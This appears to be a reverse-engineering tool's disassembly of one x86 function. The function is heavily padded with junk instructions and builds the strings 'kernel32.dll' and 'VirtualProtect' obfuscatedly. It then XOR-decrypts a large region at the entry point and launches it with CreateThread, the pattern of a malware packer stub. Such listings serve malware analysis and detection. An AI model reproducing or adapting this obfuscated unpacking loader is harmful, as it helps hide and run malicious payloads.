Function at 0x18dd007
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push eax
pop eax
call fcn.018dd3f7
push ebx
push eax
pop eax
pop ebx
pushfd
push 0x10c8e0d8
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push edi
push edx
pop edx
pop edi
mov ebx, 0x61
pushfd
push esi
add esp, 4
popfd
add bx, 0xa
pushfd
inc ebx
dec ebx
popfd
push edi
push esi
pop esi
pop edi
mov word [eax], bx
push edx
pop edx
xchg esi, esi
sub bx, 6
xchg edi, eax
xchg edi, eax
pushfd
push edi
add esp, 4
popfd
mov word [eax + 2], bx
xchg ecx, ecx
pushfd
push 0x80fd3550
add esp, 4
popfd
add bx, 0xd
xchg ecx, eax
xchg ecx, eax
pushfd
inc eax
dec eax
popfd
mov word [eax + 4], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
xor edi, 0xd3ea5473
xor edi, 0xd3ea5473
popfd
sub bx, 4
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 6], bx
xchg edx, edx
pushfd
push 0x6f25ee3f
add esp, 4
popfd
sub bx, 9
pushfd
xor ebx, 0xbd0a45b1
xor ebx, 0xbd0a45b1
popfd
pushfd
push esi
add esp, 4
popfd
mov word [eax + 8], bx
mov ecx, ecx
xchg ebx, edx
xchg edx, ebx
add bx, 7
push ecx
push esi
pop esi
pop ecx
mov word [eax + 0xa], bx
pushfd
push 0x5124b2ad
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
sub bx, 0x39
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0xc], bx
pushfd
push edx
add esp, 4
popfd
xchg ebx, ebx
dec bx
pushfd
inc edx
dec edx
popfd
pushfd
xor edi, 0x5e454bf9
xor edi, 0x5e454bf9
popfd
mov word [eax + 0xe], bx
push ecx
pop ecx
xchg edx, edx
sub bx, 4
nop
mov word [eax + 0x10], bx
pushfd
push 0xabdc26a
add esp, 4
popfd
add bx, 0x36
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg ebx, ebx
add bx, 8
mov ecx, ecx
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0x14], bx
xchg ecx, eax
xchg ecx, eax
mov esi, esi
mov word [eax + 0x16], bx
push ebx
push edx
pop edx
pop ebx
mov word [eax + 0x18], 0
pushfd
inc eax
dec eax
popfd
pushfd
inc esi
dec esi
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov esi, esi
xchg ecx, edx
xchg edx, ecx
mov dword [ebp - 0x10], eax
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 0xd8]
push edi
push edx
pop edx
pop edi
xchg edi, edi
mov ebx, 0x61
mov esi, esi
sub bl, 0xb
pushfd
push 0x7ba97497
add esp, 4
popfd
mov byte [eax], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x359dc3b9
add esp, 4
popfd
add bl, 0x13
xchg ecx, ecx
mov byte [eax + 1], bl
xchg edi, edi
mov edi, edi
add bl, 9
pushfd
inc esi
dec esi
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 2], bl
pushfd
push edx
add esp, 4
popfd
add bl, 2
xchg edi, eax
xchg edi, eax
xchg edi, edi
mov byte [eax + 3], bl
pushfd
inc ebx
dec ebx
popfd
inc bl
xchg edx, esi
xchg esi, edx
mov byte [eax + 4], bl
xchg esi, esi
sub bl, 0x14
xchg edx, edx
push ecx
push edi
pop edi
pop ecx
mov byte [eax + 5], bl
pushfd
push edi
add esp, 4
popfd
add bl, 0xb
pushfd
xor edi, 0x6eb0cd7c
xor edi, 0x6eb0cd7c
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 6], bl
push edx
push edi
pop edi
pop edx
sub bl, 0x1c
pushfd
push ecx
add esp, 4
popfd
xchg edi, edi
mov byte [eax + 7], bl
push eax
pop eax
add bl, 0x22
pushfd
xor ecx, 0xef7e9840
xor ecx, 0xef7e9840
popfd
mov byte [eax + 8], bl
pushfd
push 0xb738ab14
add esp, 4
popfd
push edi
push ebx
pop ebx
pop edi
sub bl, 3
pushfd
push 0xeb86dc38
add esp, 4
popfd
mov byte [eax + 9], bl
xchg ecx, ecx
pushfd
xor esi, 0x38b2a30
xor esi, 0x38b2a30
popfd
add bl, 5
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xa], bl
mov ebx, ebx
sub bl, 0xf
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0xb], bl
mov edi, edi
sub bl, 2
pushfd
xor esi, 0x8e9ec228
xor esi, 0x8e9ec228
popfd
nop
mov byte [eax + 0xc], bl
push eax
pop eax
mov edi, edi
add bl, 0x11
pushfd
inc eax
dec eax
popfd
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 0xd], bl
push edx
push esi
pop esi
pop edx
mov byte [eax + 0xe], 0
xchg esi, esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor esi, 0x3902016
xor esi, 0x3902016
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0x6d91f3b3
add esp, 4
popfd
xchg ecx, edi
xchg edi, ecx
lea eax, [ebp - 8]
pushfd
xor ebx, 0xd40bf3f2
xor ebx, 0xd40bf3f2
popfd
push eax
push 4
push 0x3ff3bb
push entry0
call dword [ebp - 0xc]
push eax
push edx
pop edx
pop eax
mov ecx, ecx
mov edi, entry0
pushfd
push 0x2e580fd2
add esp, 4
popfd
mov esi, 0x40100e
pushfd
push 0x932299ea
add esp, 4
popfd
push eax
push ebx
pop ebx
pop eax
mov ecx, 0x3ff3bb
pushfd
push eax
add esp, 4
popfd
mov edx, 0x1ed9ce7e
mov esi, esi
mov ebx, 0xefff9bdf
xchg edx, edx
cld
mov esi, esi
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
nop
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
xchg ecx, ecx
imul edx, edx, 7
mov edx, edx
test ebx, 1
mov edx, edx
je 0x18dd35a
mov eax, eax
add esi, 5
mov eax, eax
ror ebx, 1
mov ebx, ebx
dec ecx
xchg ecx, ecx
test ecx, ecx
xchg edx, edx
jne 0x18dd334
pushfd
xor edi, 0xc0aa28f
xor edi, 0xc0aa28f
popfd
push esi
push eax
pop eax
pop esi
lea eax, [ebp - 8]
nop
push eax
push 0x20
push 0x3ff3bb
push entry0
call dword [ebp - 0xc]
xchg ecx, ecx
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 4]
xchg edi, ebx
xchg ebx, edi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push eax
pop eax
push ebx
pop ebx
pushfd
xor edi, 0xfe7374d6
xor edi, 0xfe7374d6
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
xor esi, 0xc363ac25
xor esi, 0xc363ac25
popfd
jmp 0x18dd3b0